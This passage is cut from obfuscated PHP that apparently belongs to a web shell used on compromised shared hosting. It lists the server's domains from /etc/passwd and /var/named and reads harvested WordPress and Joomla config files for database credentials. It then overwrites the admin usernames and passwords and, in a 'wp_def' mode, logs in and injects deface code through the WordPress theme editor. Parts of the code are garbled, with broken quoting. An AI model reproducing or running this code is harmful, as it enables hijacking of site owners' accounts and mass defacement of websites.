4447 $ {
4448 "GLOBALS"
4449 }
4450 ["rxeemqdpgqt"]
4451 });
4452 $ {
4453 "GLOBALS"
4454 }
4455 ["pgkdqgsl"] = "tab";
4456 mysql_select_db($ {
4457 $ {
4458 "GLOBALS"
4459 }
4460 ["hprvmeevrr"]
4461 }, $ {
4462 $ {
4463 "GLOBALS"
4464 }
4465 ["acwbsiqe"]
4466 });
4467 $ {
4468 $ {
4469 "GLOBALS"
4470 }
4471 ["pgkdqgsl"]
4472 } = $ {
4473 $ {
4474 "GLOBALS"
4475 }
4476 ["jepeksqg"]
4477 } . "users";
4478 $ {
4479 $ {
4480 "GLOBALS"
4481 }
4482 ["acbqvsql"]
4483 } = @mysql_query("UPDATE `$tab` SET `username` ='$user'");
4484 $tyofotbjk = "url";
4485 $ {
4486 $ {
4487 "GLOBALS"
4488 }
4489 ["kcnuja"]
4490 } = @mysql_query("UPDATE `$tab` SET `password` ='$hash'");
4491 echo "<tr><td><a href=" . $ {
4492 $tyofotbjk
4493 } . " onclick=\"window.open(this.href);return
4494
4495false;\">" . $ {
4496 $ {
4497 "GLOBALS"
4498 }
4499 ["uiwslurbco"]
4500 } . "</a></td><td>" . $ {
4501 $ {
4502 "GLOBALS"
4503 }
4504 ["eiteihmxghn"]
4505 }
4506 ["name"] . "</td><td><a href=" . $ {
4507 $ {
4508 "GLOBALS"
4509 }
4510 ["ltkdvrfncfnk"]
4511 } . ">Joomla</a></td><td><font
4512
4513color=\"green" > success . . < / font > < br > ";}else{echo" < tr > < td > < ahref = ".${${"GLOBALS"}["ztkqicw"]}."onclick = "window.open(this.href);return
4514
4515false;\">" . $ {
4516 $ {
4517 "GLOBALS"
4518 }
4519 ["uiwslurbco"]
4520 } . "</a></td><td>" . $ {
4521 $ {
4522 "GLOBALS"
4523 }
4524 ["eiteihmxghn"]
4525 }
4526 ["name"] . "</td><td><a href=" . $ {
4527 $ {
4528 "GLOBALS"
4529 }
4530 ["ltkdvrfncfnk"]
4531 } . ">Joomla</a></td><td><font color=\"red\">mysql
4532
4533fail</font></td>";
4534 }
4535 }
4536 }
4537 }
4538 }
4539 }
4540 } elseif (is_readable("/etc/passwd")) {
4541 echo "<table align=\"center"border = "1"width = \"45%"cellspacing = \"0\" cellpadding="4">";
4542 echo "<tr><td><b>DOMAIN</b></td><td>USER</td><td>CMS</td><td>STATUS</b></td>";
4543 foreach ($ {
4544 $ {
4545 "GLOBALS"
4546 }
4547 ["gcmmnasmzgj"]
4548 } as $ {
4549 $ {
4550 "GLOBALS"
4551 }
4552 ["vzrrawnxrhjq"]
4553 }) {
4554 $dpebjjp = "etz";
4555 $ {
4556 "GLOBALS"
4557 }
4558 ["ssgzqgrwhxoe"] = "etcc";
4559 $ {
4560 "GLOBALS"
4561 }
4562 ["mtvlsnbix"] = "etcc";
4563 $ {
4564 $ {
4565 "GLOBALS"
4566 }
4567 ["mtvlsnbix"]
4568 } = explode(":", $ {
4569 $dpebjjp
4570 });
4571 if (chk_header($ {
4572 $ {
4573 "GLOBALS"
4574 }
4575 ["fwrurchal"]
4576 } . "ciprut/" . $ {
4577 $ {
4578 "GLOBALS"
4579 }
4580 ["ssgzqgrwhxoe"]
4581 }
4582 [0] . "-WordPress.txt")) {
4583 $ryjffaw = "username";
4584 $ {
4585 "GLOBALS"
4586 }
4587 ["jpmkfu"] = "prefix";
4588 $stegqclk = "pageURL";
4589 $ {
4590 "GLOBALS"
4591 }
4592 ["mmmqwufznx"] = "cnf";
4593 $vgzhrxrw = "cnf";
4594 $ {
4595 "GLOBALS"
4596 }
4597 ["cgswqlwx"] = "cnf";
4598 $ {
4599 "GLOBALS"
4600 }
4601 ["xuyvgkyhcnq"] = "etcc";
4602 $djmcfsfyybv = "pageURL";
4603 $kspazgbdmt = "cnf";
4604 $ {
4605 $ {
4606 "GLOBALS"
4607 }
4608 ["ltkdvrfncfnk"]
4609 } = $ {
4610 $djmcfsfyybv
4611 } . "ciprut/" . $ {
4612 $ {
4613 "GLOBALS"
4614 }
4615 ["eiteihmxghn"]
4616 }
4617 ["name"] . "-WordPress.txt";
4618 $ {
4619 "GLOBALS"
4620 }
4621 ["jnxoxpaxsb"] = "etcc";
4622 $pmuzlx = "password";
4623 file_get_contents($ {
4624 $stegqclk
4625 } . "ciprut/" . $ {
4626 $ {
4627 "GLOBALS"
4628 }
4629 ["xuyvgkyhcnq"]
4630 }
4631 [0] . "-WordPress.txt");
4632 $ {
4633 $vgzhrxrw
4634 } = file_get_contents($ {
4635 $ {
4636 "GLOBALS"
4637 }
4638 ["fwrurchal"]
4639 } . "ciprut/" . $ {
4640 $ {
4641 "GLOBALS"
4642 }
4643 ["jnxoxpaxsb"]
4644 }
4645 [0] . "-WordPress.txt");
4646 $ {
4647 "GLOBALS"
4648 }
4649 ["bohlqqrl"] = "hostname";
4650 $ {
4651 $ {
4652 "GLOBALS"
4653 }
4654 ["bohlqqrl"]
4655 } = Find($ {
4656 $ {
4657 "GLOBALS"
4658 }
4659 ["kyrycexi"]
4660 }, "define('DB_HOST', '", "');");
4661 $znhbrtbc = "link";
4662 $ {
4663 $ryjffaw
4664 } = Find($ {
4665 $ {
4666 "GLOBALS"
4667 }
4668 ["cgswqlwx"]
4669 }, "define('DB_USER', '", "');");
4670 $ {
4671 $pmuzlx
4672 } = Find($ {
4673 $ {
4674 "GLOBALS"
4675 }
4676 ["mmmqwufznx"]
4677 }, "define('DB_PASSWORD', '", "');");
4678 $ {
4679 $ {
4680 "GLOBALS"
4681 }
4682 ["hprvmeevrr"]
4683 } = Find($ {
4684 $ {
4685 "GLOBALS"
4686 }
4687 ["kyrycexi"]
4688 }, "define('DB_NAME', '", "');");
4689 $ {
4690 "GLOBALS"
4691 }
4692 ["dbfjdu"] = "hostname";
4693 $ {
4694 $ {
4695 "GLOBALS"
4696 }
4697 ["jpmkfu"]
4698 } = Find($ {
4699 $kspazgbdmt
4700 }, "table_prefix = '", "'");
4701 $ {
4702 $ {
4703 "GLOBALS"
4704 }
4705 ["jmytdpiry"]
4706 } = mysql_connect($ {
4707 $ {
4708 "GLOBALS"
4709 }
4710 ["dbfjdu"]
4711 }, $ {
4712 $ {
4713 "GLOBALS"
4714 }
4715 ["djepkh"]
4716 }, $ {
4717 $ {
4718 "GLOBALS"
4719 }
4720 ["hwojijlsfe"]
4721 });
4722 if ($ {
4723 $znhbrtbc
4724 }) {
4725 $ {
4726 "GLOBALS"
4727 }
4728 ["fhsoinxnt"] = "hash";
4729 $qxjpqlatkyk = "user";
4730 $brjshw = "dbname";
4731 $ {
4732 "GLOBALS"
4733 }
4734 ["fvrvmsbfs"] = "req";
4735 $ {
4736 "GLOBALS"
4737 }
4738 ["itermwwnjrhs"] = "tab";
4739 $clsqlqci = "prefix";
4740 $ {
4741 $ {
4742 "GLOBALS"
4743 }
4744 ["fhsoinxnt"]
4745 } = crypt($ {
4746 $qxjpqlatkyk
4747 });
4748 $rghqkinuh = "prefix";
4749 mysql_select_db($ {
4750 $brjshw
4751 }, $ {
4752 $ {
4753 "GLOBALS"
4754 }
4755 ["jmytdpiry"]
4756 });
4757 $ {
4758 $ {
4759 "GLOBALS"
4760 }
4761 ["uytqknfsqo"]
4762 } = mysql_query("SELECT * from `" . $ {
4763 $rghqkinuh
4764 } . "options` WHERE option_name='home'");
4765 $ {
4766 $ {
4767 "GLOBALS"
4768 }
4769 ["ypohbipl"]
4770 } = mysql_fetch_array($ {
4771 $ {
4772 "GLOBALS"
4773 }
4774 ["fvrvmsbfs"]
4775 });
4776 $dzdbkow = "data";
4777 $ {
4778 "GLOBALS"
4779 }
4780 ["kbposscjdrvq"] = "site_url";
4781 $ {
4782 $ {
4783 "GLOBALS"
4784 }
4785 ["kbposscjdrvq"]
4786 } = $ {
4787 $dzdbkow
4788 }
4789 ["option_value"];
4790 $ {
4791 $ {
4792 "GLOBALS"
4793 }
4794 ["itermwwnjrhs"]
4795 } = $ {
4796 $clsqlqci
4797 } . "users";
4798 $ {
4799 $ {
4800 "GLOBALS"
4801 }
4802 ["acbqvsql"]
4803 } = @mysql_query("UPDATE `$tab` SET `user_login` ='$user'");
4804 $ {
4805 $ {
4806 "GLOBALS"
4807 }
4808 ["kcnuja"]
4809 } = @mysql_query("UPDATE `$tab` SET `user_pass` ='$hash'");
4810 error_reporting(0);
4811 echo "<tr><td><a href=" . $ {
4812 $ {
4813 "GLOBALS"
4814 }
4815 ["ztkqicw"]
4816 } . " onclick="window . open(this . href);
4817 return false;
4818 \">" . $ {
4819 $ {
4820 "GLOBALS"
4821 }
4822 ["uiwslurbco"]
4823 } . "</a></td><td>" . $ {
4824 $ {
4825 "GLOBALS"
4826 }
4827 ["eiteihmxghn"]
4828 }
4829 ["name"] . "</td><td><a href=" . $ {
4830 $ {
4831 "GLOBALS"
4832 }
4833 ["ltkdvrfncfnk"]
4834 } . ">WordPress</a></td><td><font
4835
4836color="green\">success..</font><br>";
4837 } else {
4838 $ysgysxbzsa = "domain";
4839 $upeuzjpjwu = "owner";
4840 $wlhhmfmg = "config";
4841 echo "<tr><td><a href=" . $ {
4842 $ {
4843 "GLOBALS"
4844 }
4845 ["ztkqicw"]
4846 } . " onclick=\"window.open(this.href);return
4847
4848false;\">" . $ {
4849 $ysgysxbzsa
4850 } . "</a></td><td>" . $ {
4851 $upeuzjpjwu
4852 }
4853 ["name"] . "</td><td><a href=" . $ {
4854 $wlhhmfmg
4855 } . ">WordPress</a></td><td><font color="red\">mysql
4856
4857fail</font></td>";
4858 }
4859 } elseif (chk_header($ {
4860 $ {
4861 "GLOBALS"
4862 }
4863 ["fwrurchal"]
4864 } . "ciprut/" . $ {
4865 $ {
4866 "GLOBALS"
4867 }
4868 ["qqvysnsiwsz"]
4869 }
4870 [0] . "-Joomla.txt")) {
4871 $jjhkydd = "etcc";
4872 $qwqjtjytq = "owner";
4873 $ {
4874 "GLOBALS"
4875 }
4876 ["ydckyhyfmoe"] = "pageURL";
4877 $ {
4878 "GLOBALS"
4879 }
4880 ["jawqyqrn"] = "config";
4881 $ {
4882 $ {
4883 "GLOBALS"
4884 }
4885 ["kyrycexi"]
4886 } = file_get_contents($ {
4887 $ {
4888 "GLOBALS"
4889 }
4890 ["fwrurchal"]
4891 } . "ciprut/" . $ {
4892 $jjhkydd
4893 }
4894 [0] . "-Joomla.txt");
4895 $ {
4896 $ {
4897 "GLOBALS"
4898 }
4899 ["jawqyqrn"]
4900 } = $ {
4901 $ {
4902 "GLOBALS"
4903 }
4904 ["ydckyhyfmoe"]
4905 } . "ciprut/" . $ {
4906 $qwqjtjytq
4907 }
4908 ["name"] . "-Joomla.txt";
4909 if (preg_match("%(JConfig|mosConfig)%", $ {
4910 $ {
4911 "GLOBALS"
4912 }
4913 ["kyrycexi"]
4914 })) {
4915 $ {
4916 "GLOBALS"
4917 }
4918 ["oeowefjcwzlt"] = "cnf";
4919 if (preg_match("%JConfig%", $ {
4920 $ {
4921 "GLOBALS"
4922 }
4923 ["kyrycexi"]
4924 })) {
4925 $ {
4926 "GLOBALS"
4927 }
4928 ["tbtltbb"] = "cnf";
4929 $ {
4930 $ {
4931 "GLOBALS"
4932 }
4933 ["djepkh"]
4934 } = Find($ {
4935 $ {
4936 "GLOBALS"
4937 }
4938 ["tbtltbb"]
4939 }, "\$user = '", "'");
4940 $ {
4941 "GLOBALS"
4942 }
4943 ["stihttmrw"] = "link";
4944 $ {
4945 "GLOBALS"
4946 }
4947 ["rrhhvcojml"] = "cnf";
4948 $ {
4949 "GLOBALS"
4950 }
4951 ["ybwldars"] = "prefix";
4952 $pipyahupgdl = "site_url";
4953 $rnjlltlshncx = "link";
4954 $zztwctbkwwn = "cnf";
4955 $ {
4956 $ {
4957 "GLOBALS"
4958 }
4959 ["hwojijlsfe"]
4960 } = Find($ {
4961 $zztwctbkwwn
4962 }, "\$password = '", "'");
4963 $ {
4964 $ {
4965 "GLOBALS"
4966 }
4967 ["hprvmeevrr"]
4968 } = Find($ {
4969 $ {
4970 "GLOBALS"
4971 }
4972 ["kyrycexi"]
4973 }, "\$db = '", "'");
4974 $ {
4975 $ {
4976 "GLOBALS"
4977 }
4978 ["ybwldars"]
4979 } = Find($ {
4980 $ {
4981 "GLOBALS"
4982 }
4983 ["kyrycexi"]
4984 }, "\$dbprefix = '", "'");
4985 $ {
4986 $pipyahupgdl
4987 } = Find($ {
4988 $ {
4989 "GLOBALS"
4990 }
4991 ["rrhhvcojml"]
4992 }, "\$mailfrom = '", "'");
4993 $oyfwgjiakz = "username";
4994 $ {
4995 $ {
4996 "GLOBALS"
4997 }
4998 ["kwxhcjombhf"]
4999 } = explode("@", $ {
5000 $ {
5001 "GLOBALS"
5002 }
5003 ["kwxhcjombhf"]
5004 });
5005 $ {
5006 $rnjlltlshncx
5007 } = mysql_connect("localhost", $ {
5008 $oyfwgjiakz
5009 }, $ {
5010 $ {
5011 "GLOBALS"
5012 }
5013 ["hwojijlsfe"]
5014 });
5015 if ($ {
5016 $ {
5017 "GLOBALS"
5018 }
5019 ["stihttmrw"]
5020 }) {
5021 $honjqlfb = "dbname";
5022 $wkxvhwdn = "query3";
5023 $ {
5024 "GLOBALS"
5025 }
5026 ["xyhocgmqqvd"] = "pass";
5027 $ {
5028 "GLOBALS"
5029 }
5030 ["fyljjugur"] = "owner";
5031 $ {
5032 $ {
5033 "GLOBALS"
5034 }
5035 ["zrvxbpjb"]
5036 } = md5($ {
5037 $ {
5038 "GLOBALS"
5039 }
5040 ["xyhocgmqqvd"]
5041 });
5042 mysql_select_db($ {
5043 $honjqlfb
5044 }, $ {
5045 $ {
5046 "GLOBALS"
5047 }
5048 ["jmytdpiry"]
5049 });
5050 $ {
5051 $ {
5052 "GLOBALS"
5053 }
5054 ["pegpcltip"]
5055 } = $ {
5056 $ {
5057 "GLOBALS"
5058 }
5059 ["jepeksqg"]
5060 } . "users";
5061 $ {
5062 $ {
5063 "GLOBALS"
5064 }
5065 ["acbqvsql"]
5066 } = @mysql_query("UPDATE `$tab` SET `username` ='$user'");
5067 $ {
5068 $wkxvhwdn
5069 } = @mysql_query("UPDATE `$tab` SET `password` ='$hash'");
5070 echo "<tr><td><a href=" . $ {
5071 $ {
5072 "GLOBALS"
5073 }
5074 ["ztkqicw"]
5075 } . " onclick="window . open(this . href);
5076 return false;
5077 ">" . $ {
5078 $ {
5079 "GLOBALS"
5080 }
5081 ["uiwslurbco"]
5082 } . "</a></td><td>" . $ {
5083 $ {
5084 "GLOBALS"
5085 }
5086 ["fyljjugur"]
5087 }
5088 ["name"] . "</td><td><a href=" . $ {
5089 $ {
5090 "GLOBALS"
5091 }
5092 ["ltkdvrfncfnk"]
5093 } . ">Joomla</a></td><td><font
5094
5095color="green">success..</font><br>";
5096 } else {
5097 $rzjwtnpgbll = "domain";
5098 $ {
5099 "GLOBALS"
5100 }
5101 ["qxumotmb"] = "url";
5102 $ {
5103 "GLOBALS"
5104 }
5105 ["itxgjbaly"] = "config";
5106 $gbbnimbvooh = "owner";
5107 echo "<tr><td><a href=" . $ {
5108 $ {
5109 "GLOBALS"
5110 }
5111 ["qxumotmb"]
5112 } . " onclick=\"window.open(this.href);return
5113
5114false;\">" . $ {
5115 $rzjwtnpgbll
5116 } . "</a></td><td>" . $ {
5117 $gbbnimbvooh
5118 }
5119 ["name"] . "</td><td><a href=" . $ {
5120 $ {
5121 "GLOBALS"
5122 }
5123 ["itxgjbaly"]
5124 } . ">Joomla</a></td><td><font color=\"red\">mysql
5125
5126fail</font></td>";
5127 }
5128 } elseif (preg_match("%mosConfig%", $ {
5129 $ {
5130 "GLOBALS"
5131 }
5132 ["oeowefjcwzlt"]
5133 })) {
5134 $qdbysd = "prefix";
5135 $ {
5136 "GLOBALS"
5137 }
5138 ["twifzgwxn"] = "site_url";
5139 $okrvmgxr = "site_url";
5140 $ {
5141 "GLOBALS"
5142 }
5143 ["qcnethucwvlm"] = "cnf";
5144 $ {
5145 "GLOBALS"
5146 }
5147 ["hxgkssmj"] = "password";
5148 $ {
5149 $ {
5150 "GLOBALS"
5151 }
5152 ["djepkh"]
5153 } = Find($ {
5154 $ {
5155 "GLOBALS"
5156 }
5157 ["kyrycexi"]
5158 }, "\$mosConfig_user = '", "'");
5159 $ {
5160 "GLOBALS"
5161 }
5162 ["wkuisnisopc"] = "cnf";
5163 $ {
5164 $ {
5165 "GLOBALS"
5166 }
5167 ["hxgkssmj"]
5168 } = Find($ {
5169 $ {
5170 "GLOBALS"
5171 }
5172 ["qcnethucwvlm"]
5173 }, "\$mosConfig_password = '", "'");
5174 $mxmpeyjgqca = "site_url";
5175 $ {
5176 $ {
5177 "GLOBALS"
5178 }
5179 ["hprvmeevrr"]
5180 } = Find($ {
5181 $ {
5182 "GLOBALS"
5183 }
5184 ["kyrycexi"]
5185 }, "\$mosConfig_db = '", "'");
5186 $ {
5187 $qdbysd
5188 } = Find($ {
5189 $ {
5190 "GLOBALS"
5191 }
5192 ["kyrycexi"]
5193 }, "\$mosConfig_dbprefix = '", "'");
5194 $gzltvqc = "password";
5195 $ {
5196 $ {
5197 "GLOBALS"
5198 }
5199 ["twifzgwxn"]
5200 } = Find($ {
5201 $ {
5202 "GLOBALS"
5203 }
5204 ["wkuisnisopc"]
5205 }, "\$mailfrom = '", "'");
5206 $ {
5207 $mxmpeyjgqca
5208 } = explode("@", $ {
5209 $okrvmgxr
5210 });
5211 $ {
5212 $ {
5213 "GLOBALS"
5214 }
5215 ["jmytdpiry"]
5216 } = mysql_connect("localhost", $ {
5217 $ {
5218 "GLOBALS"
5219 }
5220 ["djepkh"]
5221 }, $ {
5222 $gzltvqc
5223 });
5224 if ($ {
5225 $ {
5226 "GLOBALS"
5227 }
5228 ["jmytdpiry"]
5229 }) {
5230 $ {
5231 "GLOBALS"
5232 }
5233 ["ablbbsd"] = "link";
5234 $ {
5235 "GLOBALS"
5236 }
5237 ["xwhvpcssxv"] = "hash";
5238 $ndevkvr = "config";
5239 $ {
5240 "GLOBALS"
5241 }
5242 ["elkvhvj"] = "query3";
5243 $qbdcwyq = "tab";
5244 $gahmuc = "dbname";
5245 $ {
5246 $ {
5247 "GLOBALS"
5248 }
5249 ["xwhvpcssxv"]
5250 } = md5($ {
5251 $ {
5252 "GLOBALS"
5253 }
5254 ["rxeemqdpgqt"]
5255 });
5256 mysql_select_db($ {
5257 $gahmuc
5258 }, $ {
5259 $ {
5260 "GLOBALS"
5261 }
5262 ["ablbbsd"]
5263 });
5264 $ {
5265 "GLOBALS"
5266 }
5267 ["zhluvjk"] = "domain";
5268 $ {
5269 $qbdcwyq
5270 } = $ {
5271 $ {
5272 "GLOBALS"
5273 }
5274 ["jepeksqg"]
5275 } . "users";
5276 $ {
5277 $ {
5278 "GLOBALS"
5279 }
5280 ["acbqvsql"]
5281 } = @mysql_query("UPDATE `$tab` SET `username` ='$user'");
5282 $ {
5283 $ {
5284 "GLOBALS"
5285 }
5286 ["elkvhvj"]
5287 } = @mysql_query("UPDATE `$tab` SET `password` ='$hash'");
5288 echo "<tr><td><a href=" . $ {
5289 $ {
5290 "GLOBALS"
5291 }
5292 ["ztkqicw"]
5293 } . " onclick=\"window.open(this.href);return
5294
5295false;" > ".${${"GLOBALS"}["zhluvjk"]}." < / a > < / td > < td > ".${${"GLOBALS"}["eiteihmxghn"]}["name"]." < / td > < td > < ahref = ".${$ndevkvr}." > Joomla < / a > < / td > < td > < fontcolor = "green\">success..</font><br>";
5296 } else {
5297 $nqwctewec = "owner";
5298 $ {
5299 "GLOBALS"
5300 }
5301 ["uhhfqwbd"] = "url";
5302 echo "<tr><td><a href=" . $ {
5303 $ {
5304 "GLOBALS"
5305 }
5306 ["uhhfqwbd"]
5307 } . " onclick="window . open(this . href);
5308 return false;
5309 ">" . $ {
5310 $ {
5311 "GLOBALS"
5312 }
5313 ["uiwslurbco"]
5314 } . "</a></td><td>" . $ {
5315 $nqwctewec
5316 }
5317 ["name"] . "</td><td><a href=" . $ {
5318 $ {
5319 "GLOBALS"
5320 }
5321 ["ltkdvrfncfnk"]
5322 } . ">Joomla</a></td><td><font color="red">mysql
5323
5324fail</font></td>";
5325 }
5326 }
5327 }
5328 }
5329 }
5330 }
5331 }
5332 break;
5333 case "wp_def":
5334 $ {
5335 $ {
5336 "GLOBALS"
5337 }
5338 ["lnposkrq"]
5339 } = "admin";
5340 $ {
5341 $rrgghqqnp
5342 } = "foo";
5343 echo "<div align=\"center" > < formaction = \"\" method="POST">
5344
5345<label>Deface URL: </label> <input type="text\" style=\"width:450px;"name = "deface_page\"><br />
5346<input type="submit" value=\"DEFACE" > < / form > ";if($_POST){${"GLOBALS"}["xklxghmo"] = "deface";
5347 ${${"GLOBALS"}["xklxghmo"]} = file_get_contents(trim($_POST["deface_page"]));
5348 if (is_readable("/var/named")) {echo "<table align="center\" border="1" width="45 % " cellspacing="0" cellpadding=\"4\">";
5349 $ednccbromv = "list";
5350 echo "<tr><td><b>DOMAIN</b></td><td>USER</td><td>CMS</td><td>STATUS</b></td><td>DEF URL</td>";
5351 ${${"GLOBALS"}["augvthou"]} = scandir("/var/named");
5352 foreach (${$ednccbromv} as ${${"GLOBALS"}["uiwslurbco"]}) {if (strpos(${${"GLOBALS"}["uiwslurbco"]}, ".db")) {${${"GLOBALS"}["uiwslurbco"]} = str_replace(".db", "", ${${"GLOBALS"}["uiwslurbco"]});
5353 $solsgujs = "owner";
5354 $ltjbwijbdlg = "domain";
5355 ${${"GLOBALS"}["eiteihmxghn"]} = posix_getpwuid(fileowner("/etc/valiases/" . ${$ltjbwijbdlg}));
5356 ${${"GLOBALS"}["ztkqicw"]} = "http://" . ${${"GLOBALS"}["uiwslurbco"]};
5357 ${"GLOBALS"}["awlsogthl"] = "pageURL";
5358 if (chk_header(${${"GLOBALS"}["awlsogthl"]} . "ciprut/" . ${$solsgujs}["name"] . "-WordPress.txt")) {${"GLOBALS"}["svfjwvm"] = "cnf";
5359 $gdnituo = "config";
5360 ${"GLOBALS"}["evrtryf"] = "password";
5361 $ursbqyijy = "cnf";
5362 $fipemvfsxm = "owner";
5363 $sqmwssyt = "cnf";
5364 ${"GLOBALS"}["ftfwpj"] = "dbname";
5365 ${"GLOBALS"}["xnmhuem"] = "hostname";
5366 ${"GLOBALS"}["rjkcqnitwxt"] = "cnf";
5367 $plxmuvrekrds = "link";
5368 $lkctcudm = "link";
5369 ${"GLOBALS"}["vwmubto"] = "username";
5370 ${$gdnituo} = ${${"GLOBALS"}["fwrurchal"]} . "ciprut/" . ${${"GLOBALS"}["eiteihmxghn"]}["name"] . "-WordPress.txt";
5371 file_get_contents(${${"GLOBALS"}["fwrurchal"]} . "ciprut/" . ${$fipemvfsxm}["name"] . "-WordPress.txt");
5372 ${$ursbqyijy} = file_get_contents(${${"GLOBALS"}["fwrurchal"]} . "ciprut/" . ${${"GLOBALS"}["eiteihmxghn"]}["name"] . "-WordPress.txt");
5373 ${${"GLOBALS"}["xnmhuem"]} = Find(${${"GLOBALS"}["svfjwvm"]}, "define('DB_HOST', '", "');");
5374 $ldwsylrlg = "cnf";
5375 ${${"GLOBALS"}["vwmubto"]} = Find(${${"GLOBALS"}["kyrycexi"]}, "define('DB_USER', '", "');");
5376 $gghhqyple = "username";
5377 ${${"GLOBALS"}["evrtryf"]} = Find(${$ldwsylrlg}, "define('DB_PASSWORD', '", "');");
5378 ${${"GLOBALS"}["ftfwpj"]} = Find(${${"GLOBALS"}["rjkcqnitwxt"]}, "define('DB_NAME', '", "');");
5379 ${${"GLOBALS"}["jepeksqg"]} = Find(${$sqmwssyt}, "table_prefix = '", "'");
5380 ${$plxmuvrekrds} = mysql_connect(${${"GLOBALS"}["eklghosmpzbd"]}, ${$gghhqyple}, ${${"GLOBALS"}["hwojijlsfe"]});
5381 if (${$lkctcudm}) {${${"GLOBALS"}["zrvxbpjb"]} = crypt(${${"GLOBALS"}["rxeemqdpgqt"]});
5382 $fsmhfqvilti = "link";
5383 $hnndha = "site_url";
5384 ${"GLOBALS"}["shnfyn"] = "tab";
5385 ${"GLOBALS"}["vctbmnqemj"] = "domain";
5386 ${"GLOBALS"}["cgyrva"] = "query2";
5387 mysql_select_db(${${"GLOBALS"}["hprvmeevrr"]}, ${$fsmhfqvilti});
5388 $owhmtd = "post";
5389 ${${"GLOBALS"}["shnfyn"]} = ${${"GLOBALS"}["jepeksqg"]} . "users";
5390 ${${"GLOBALS"}["cgyrva"]} = @mysql_query("UPDATE `$tab` SET `user_login` ='$user'");
5391 $qbdqosiy = "req";
5392 ${${"GLOBALS"}["kcnuja"]} = @mysql_query("UPDATE `$tab` SET `user_pass` ='$hash'");
5393 ${${"GLOBALS"}["uytqknfsqo"]} = @mysql_query("SELECT * from `" . ${${"GLOBALS"}["jepeksqg"]} . "options` WHERE option_name='home'");
5394 ${"GLOBALS"}["vhqkmpttpu"] = "url";
5395 ${${"GLOBALS"}["ypohbipl"]} = mysql_fetch_array(${$qbdqosiy});
5396 ${$hnndha} = ${${"GLOBALS"}["ypohbipl"]}["option_value"];
5397 error_reporting(0);
5398 ${"GLOBALS"}["gvcfepsfesj"] = "site_url";
5399 echo "<tr><td><a href=" . ${${"GLOBALS"}["vhqkmpttpu"]} . " onclick=\"window.open(this.href);return
5400
5401false;" > ".${$ {
5402 "GLOBALS"
5403 }
5404 ["vctbmnqemj"]
5405 }
5406 ." < / a > < / td > < td > ".${$ {
5407 "GLOBALS"
5408 }
5409 ["eiteihmxghn"]
5410 }
5411 ["name"]." < / td > < td > < ahref = ".${$ {
5412 "GLOBALS"
5413 }
5414 ["ltkdvrfncfnk"]
5415 }
5416 ." > WordPress < / a > < / td > < td > < fontcolor = \"green\">[#]
5417
5418User Pass Changed </font><br>";
5419 ${$owhmtd} = "log=admin&pwd=foo&rememberme=forever&wp-submit=Log In&testcookie=1";
5420 ${${"GLOBALS"}["tjxykumty"]} = "<? echo(stripslashes(base64_decode('" . urlencode(base64_encode(str_replace("'", "'", (${${"GLOBALS"}["wphoypdgbkw"]})))) . "')));
5421
5422exit; ?>";
5423 ${${"GLOBALS"}["oroymiphcew"]} = CurlPage(${${"GLOBALS"}["gvcfepsfesj"]} . "/wp-login.php", ${${"GLOBALS"}["tnsxhojxvmf"]});
5424 if (!preg_match("/logout/i", ${${"GLOBALS"}["oroymiphcew"]})) {echo "<font color='red'>[X] FAILED TO LOGIN</font><br />";
5425 } else {$byqrbubhz = "urlz";
5426 ${"GLOBALS"}["eeegjtbqoj"] = "urlz";
5427 ${"GLOBALS"}["elmofjlerrc"] = "site_url";
5428 echo "<font color='green'>[#] LOGGED IN :D</font><br>";
5429 ${"GLOBALS"}["azwrst"] = "themeditor";
5430 ${${"GLOBALS"}["eeegjtbqoj"]} = ${${"GLOBALS"}["elmofjlerrc"]} . "/wp-admin/theme-editor.php";
5431 ${"GLOBALS"}["xewmfvgcgk"] = "themeditor";
5432 ${${"GLOBALS"}["azwrst"]} = CurlPage(${$byqrbubhz}, ${${"GLOBALS"}["uxezdk"]}, null);
5433 if (preg_match("/update file/i", ${${"GLOBALS"}["xewmfvgcgk"]})) {echo "theme-editor opened<br /></td>";
5434 } else {echo "error
5435
5436opening theme edtitor!</td>";
5437 }$ocewsofn = "nola";
5438 ${${"GLOBALS"}["ujcfcgujh"]} = explode(Chr(10), ${${"GLOBALS"}["hopfouh"]});
5439 foreach (${$ocewsofn} as ${${"GLOBALS"}["qymmyzm"]}) {if (preg_match("%theme-editor\.php\?file=%", ${${"GLOBALS"}["qymmyzm"]}) && preg_match("%\((404\.php|archive\.php|comment\.php)\)%", strtolower(${${"GLOBALS"}["qymmyzm"]}))) {${${"GLOBALS"}["necpnewqdo"]}[Find(${${"GLOBALS"}["qymmyzm"]}, "(", ")") ] = Find(${${"GLOBALS"}["qymmyzm"]}, "<a href="","\"");
5440 }}echo "<td>";
5441 if (is_array(${${"GLOBALS"}["necpnewqdo"]})) {${"GLOBALS"}["yvckrqfy"] = "modify";
5442 $ebrwth = "met";
5443 foreach (${${"GLOBALS"}["yvckrqfy"]} as ${$ebrwth} => ${${"GLOBALS"}["iorlddkv"]}) {$slizhsxaems = "nri";
5444 $xmuqnfides = "indfile";
5445 ${"GLOBALS"}["toixjpn"] = "site_url";
5446 ${"GLOBALS"}["hxunpqbtrtx"] = "jfile";
5447 ${"GLOBALS"}["pywqqsemptv"] = "indfile";
5448 ${"GLOBALS"}["jlsitcuvbiwy"] = "site_url";
5449 ${"GLOBALS"}["vulyhv"] = "url";
5450 ${${"GLOBALS"}["rxhxqkbwyrq"]} = str_replace(".", "_", ${${"GLOBALS"}["sfobrtfgsyh"]});
5451 $uclpfrxsceq = "themepage";
5452 ${"GLOBALS"}["uqecmuxsnh"] = "url";
5453 $invbqoitgs = "nfile";
5454 ${${"GLOBALS"}["rxhxqkbwyrq"]} = "n" . ${$slizhsxaems};
5455 $bzftcq = "postme";
5456 ${${"GLOBALS"}["pywqqsemptv"]} = str_replace("&", "&", ${$xmuqnfides});
5457 ${${"GLOBALS"}["ztkqicw"]} = trim(${${"GLOBALS"}["kwxhcjombhf"]} . "/wp-admin/" . ${${"GLOBALS"}["iorlddkv"]});
5458 ${"GLOBALS"}["iikxjrm"] = "_wpnonce";
5459 ${"GLOBALS"}["cjozmitc"] = "_wpnonce";
5460 ${$uclpfrxsceq} = CurlPage(${${"GLOBALS"}["uqecmuxsnh"]}, "");
5461 $smaceamfv = "url";
5462 ${${"GLOBALS"}["cjozmitc"]} = Find(${${"GLOBALS"}["lyuhwart"]}, "name=\"_wpnonce\" value="",""");
5463 ${"GLOBALS"}["bcgipvrvy"] = "_file";
5464 ${"GLOBALS"}["swcdttswyns"] = "def";
